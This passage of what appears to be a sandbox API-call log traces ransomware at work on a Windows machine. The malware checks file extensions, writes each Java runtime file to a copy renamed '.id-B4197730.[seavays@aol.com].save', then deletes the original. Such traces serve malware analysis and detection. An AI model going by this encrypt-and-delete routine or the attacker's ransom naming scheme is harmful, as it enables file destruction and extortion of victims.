Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0169.489] lstrlenW (lpString=".1cd") returned 4 [0169.489] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0169.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0169.490] lstrlenW (lpString=".jpg") returned 4 [0169.490] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0169.490] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0169.490] lstrlenW (lpString="jfxswt.jar") returned 10 [0169.490] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0169.491] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=33932) returned 1 [0169.491] CloseHandle (hObject=0x510) returned 1 [0169.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0169.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.491] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0169.492] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.492] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.492] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0169.494] GetLastError () returned 0x0 [0169.494] ReadFile (in: hFile=0x510, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x848c, lpOverlapped=0x0) returned 1 [0169.498] WriteFile (in: hFile=0x534, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x8490, lpOverlapped=0x0) returned 1 [0169.500] ReadFile (in: hFile=0x510, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.500] WriteFile (in: hFile=0x534, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xe8, lpOverlapped=0x0) returned 1 [0169.501] SetEndOfFile (hFile=0x534) returned 1 [0169.501] CloseHandle (hObject=0x534) returned 1 [0169.501] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.501] SetEndOfFile (hFile=0x510) returned 1 [0169.505] CloseHandle (hObject=0x510) returned 1 [0169.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0169.506] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1 [0169.507] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0169.507] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0169.507] lstrlenW (lpString=".doc") returned 4 [0169.507] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0169.507] lstrlenW (lpString=".docx") returned 5 [0169.507] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0169.507] lstrlenW (lpString=".pdf") returned 4 [0169.507] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0169.507] lstrlenW (lpString=".xls") returned 4 [0169.507] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0169.507] lstrlenW (lpString=".xlsx") returned 5 [0169.507] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0169.507] lstrlenW (lpString=".ppt") returned 4 [0169.507] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0169.507] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0169.507] lstrlenW (lpString=".zip") returned 4 [0169.507] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0169.507] lstrlenW (lpString=".rar") returned 4 [0169.507] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0169.507] lstrlenW (lpString=".bz2") returned 4 [0169.507] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0169.507] lstrlenW (lpString=".7z") returned 3 [0169.507] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0169.507] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0169.508] lstrlenW (lpString=".dbf") returned 4 [0169.508] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0169.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0169.508] lstrlenW (lpString=".1cd") returned 4 [0169.508] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0169.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0169.508] lstrlenW (lpString=".jpg") returned 4 [0169.508] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0169.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0169.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0169.508] lstrlenW (lpString=".doc") returned 4 [0169.508] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0169.508] lstrlenW (lpString=".docx") returned 5 [0169.508] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0169.508] lstrlenW (lpString=".pdf") returned 4 [0169.508] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0169.508] lstrlenW (lpString=".xls") returned 4 [0169.508] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0169.508] lstrlenW (lpString=".xlsx") returned 5 [0169.508] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0169.508] lstrlenW (lpString=".ppt") returned 4 [0169.508] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0169.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0169.508] lstrlenW (lpString=".zip") returned 4 [0169.508] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0169.508] lstrlenW (lpString=".rar") returned 4 [0169.509] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0169.509] lstrlenW (lpString=".bz2") returned 4 [0169.509] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0169.509] lstrlenW (lpString=".7z") returned 3 [0169.509] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0169.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0169.509] lstrlenW (lpString=".dbf") returned 4 [0169.509] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0169.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0169.509] lstrlenW (lpString=".1cd") returned 4 [0169.509] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0169.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0169.509] lstrlenW (lpString=".jpg") returned 4 [0169.509] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0169.509] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0169.509] lstrlenW (lpString="jsse.jar") returned 8 [0169.509] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0169.510] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=584576) returned 1 [0169.510] CloseHandle (hObject=0x510) returned 1 [0169.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20 [0169.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.511] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0169.511] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.511] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.511] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0169.512] GetLastError () returned 0x0 [0169.512] ReadFile (in: hFile=0x510, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x8eb80, lpOverlapped=0x0) returned 1 [0169.728] WriteFile (in: hFile=0x534, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x8eb90, lpOverlapped=0x0) returned 1 [0169.820] ReadFile (in: hFile=0x510, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.820] WriteFile (in: hFile=0x534, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xe4, lpOverlapped=0x0) returned 1 [0169.820] SetEndOfFile (hFile=0x534) returned 1 [0169.820] CloseHandle (hObject=0x534) returned 1 [0169.821] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.821] SetEndOfFile (hFile=0x510) returned 1 [0169.837] CloseHandle (hObject=0x510) returned 1 [0169.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.231] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1 [0170.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0170.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0170.232] lstrlenW (lpString=".doc") returned 4 [0170.232] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0170.232] lstrlenW (lpString=".docx") returned 5 [0170.232] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0170.232] lstrlenW (lpString=".pdf") returned 4 [0170.232] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0170.232] lstrlenW (lpString=".xls") returned 4 [0170.232] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0170.232] lstrlenW (lpString=".xlsx") returned 5 [0170.232] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0170.232] lstrlenW (lpString=".ppt") returned 4 [0170.232] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0170.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0170.232] lstrlenW (lpString=".zip") returned 4 [0170.232] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0170.232] lstrlenW (lpString=".rar") returned 4 [0170.232] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0170.232] lstrlenW (lpString=".bz2") returned 4 [0170.233] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0170.233] lstrlenW (lpString=".7z") returned 3 [0170.233] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0170.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0170.233] lstrlenW (lpString=".dbf") returned 4 [0170.233] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0170.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0170.233] lstrlenW (lpString=".1cd") returned 4 [0170.233] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0170.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0170.233] lstrlenW (lpString=".jpg") returned 4 [0170.233] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0170.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0170.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0170.233] lstrlenW (lpString=".doc") returned 4 [0170.233] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0170.233] lstrlenW (lpString=".docx") returned 5 [0170.233] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0170.233] lstrlenW (lpString=".pdf") returned 4 [0170.233] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0170.233] lstrlenW (lpString=".xls") returned 4 [0170.233] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0170.233] lstrlenW (lpString=".xlsx") returned 5 [0170.233] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0170.233] lstrlenW (lpString=".ppt") returned 4 [0170.233] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0170.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0170.233] lstrlenW (lpString=".zip") returned 4 [0170.233] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0170.233] lstrlenW (lpString=".rar") returned 4 [0170.233] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0170.233] lstrlenW (lpString=".bz2") returned 4 [0170.234] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0170.234] lstrlenW (lpString=".7z") returned 3 [0170.234] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0170.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0170.234] lstrlenW (lpString=".dbf") returned 4 [0170.234] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0170.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0170.234] lstrlenW (lpString=".1cd") returned 4 [0170.234] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0170.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0170.234] lstrlenW (lpString=".jpg") returned 4 [0170.234] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0170.234] lstrcmpiW (lpString1=".0_144\\lib\\meta-index", lpString2=".save") returned -1 [0170.234] lstrlenW (lpString="meta-index") returned 10 [0170.234] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0170.514] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=2126) returned 1 [0170.515] CloseHandle (hObject=0x544) returned 1 [0170.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20 [0170.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.515] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0170.515] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.516] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.516] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.790] GetLastError () returned 0x0 [0170.790] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x84e, lpOverlapped=0x0) returned 1 [0170.791] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x850, lpOverlapped=0x0) returned 1 [0170.792] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.792] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xe8, lpOverlapped=0x0) returned 1 [0170.792] SetEndOfFile (hFile=0x540) returned 1 [0170.793] CloseHandle (hObject=0x540) returned 1 [0170.793] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.793] SetEndOfFile (hFile=0x544) returned 1 [0170.800] CloseHandle (hObject=0x544) returned 1 [0170.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.800] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 1 [0170.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0170.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0170.801] lstrlenW (lpString=".doc") returned 4 [0170.801] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0170.801] lstrlenW (lpString=".docx") returned 5 [0170.801] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0170.801] lstrlenW (lpString=".pdf") returned 4 [0170.801] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0170.802] lstrlenW (lpString=".xls") returned 4 [0170.802] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0170.802] lstrlenW (lpString=".xlsx") returned 5 [0170.802] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0170.802] lstrlenW (lpString=".ppt") returned 4 [0170.802] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0170.802] lstrlenW (lpString=".zip") returned 4 [0170.802] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0170.802] lstrlenW (lpString=".rar") returned 4 [0170.802] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0170.802] lstrlenW (lpString=".bz2") returned 4 [0170.802] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0170.802] lstrlenW (lpString=".7z") returned 3 [0170.802] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0170.802] lstrlenW (lpString=".dbf") returned 4 [0170.802] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0170.802] lstrlenW (lpString=".1cd") returned 4 [0170.802] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0170.802] lstrlenW (lpString=".jpg") returned 4 [0170.802] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0170.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0170.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0170.802] lstrlenW (lpString=".doc") returned 4 [0170.802] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0170.802] lstrlenW (lpString=".docx") returned 5 [0170.803] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0170.803] lstrlenW (lpString=".pdf") returned 4 [0170.803] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0170.803] lstrlenW (lpString=".xls") returned 4 [0170.803] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0170.803] lstrlenW (lpString=".xlsx") returned 5 [0170.803] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0170.803] lstrlenW (lpString=".ppt") returned 4 [0170.803] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0170.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0170.803] lstrlenW (lpString=".zip") returned 4 [0170.803] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0170.803] lstrlenW (lpString=".rar") returned 4 [0170.803] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0170.803] lstrlenW (lpString=".bz2") returned 4 [0170.803] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0170.803] lstrlenW (lpString=".7z") returned 3 [0170.803] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0170.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0170.803] lstrlenW (lpString=".dbf") returned 4 [0170.803] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0170.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0170.803] lstrlenW (lpString=".1cd") returned 4 [0170.803] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0170.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0170.803] lstrlenW (lpString=".jpg") returned 4 [0170.803] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0170.803] lstrcmpiW (lpString1=".policy", lpString2=".save") returned -1 [0170.804] lstrlenW (lpString="javaws.policy") returned 13 [0170.804] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0170.804] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=98) returned 1 [0170.804] CloseHandle (hObject=0x544) returned 1 [0170.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20 [0170.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.805] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0170.805] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 